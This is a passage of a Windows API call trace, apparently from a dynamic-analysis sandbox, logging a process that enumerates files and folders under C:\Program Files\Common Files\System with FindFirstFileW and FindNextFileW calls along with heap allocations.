ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0214.814] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0214.814] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0214.814] GetProcessHeap () returned 0xc10000 [0214.814] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0214.815] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0214.815] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.815] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0214.815] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0214.816] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0214.816] GetProcessHeap () returned 0xc10000 [0214.816] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0214.816] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0214.816] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0214.816] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0214.816] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0214.817] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0214.817] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0214.817] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0214.817] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0214.817] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1 [0214.817] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0214.818] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0214.818] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0214.818] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1 [0214.818] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x62e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0214.818] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0214.819] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0214.819] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0214.819] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0214.819] GetProcessHeap () returned 0xc10000 [0214.819] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.820] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0214.821] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0214.821] GetProcessHeap () returned 0xc10000 [0214.821] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0214.822] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.822] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0214.822] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0214.822] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0214.824] GetProcessHeap () returned 0xc10000 [0214.824] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.824] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0214.825] GetProcessHeap () returned 0xc10000 [0214.825] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0214.827] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.827] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0214.827] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0214.827] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0214.827] GetProcessHeap () returned 0xc10000 [0214.827] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0214.829] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0214.830] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.830] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b99489e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0214.830] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb2c9ec00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0214.830] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0214.830] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0214.838] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0214.839] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0214.839] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0214.839] GetProcessHeap () returned 0xc10000 [0214.839] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0214.839] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: 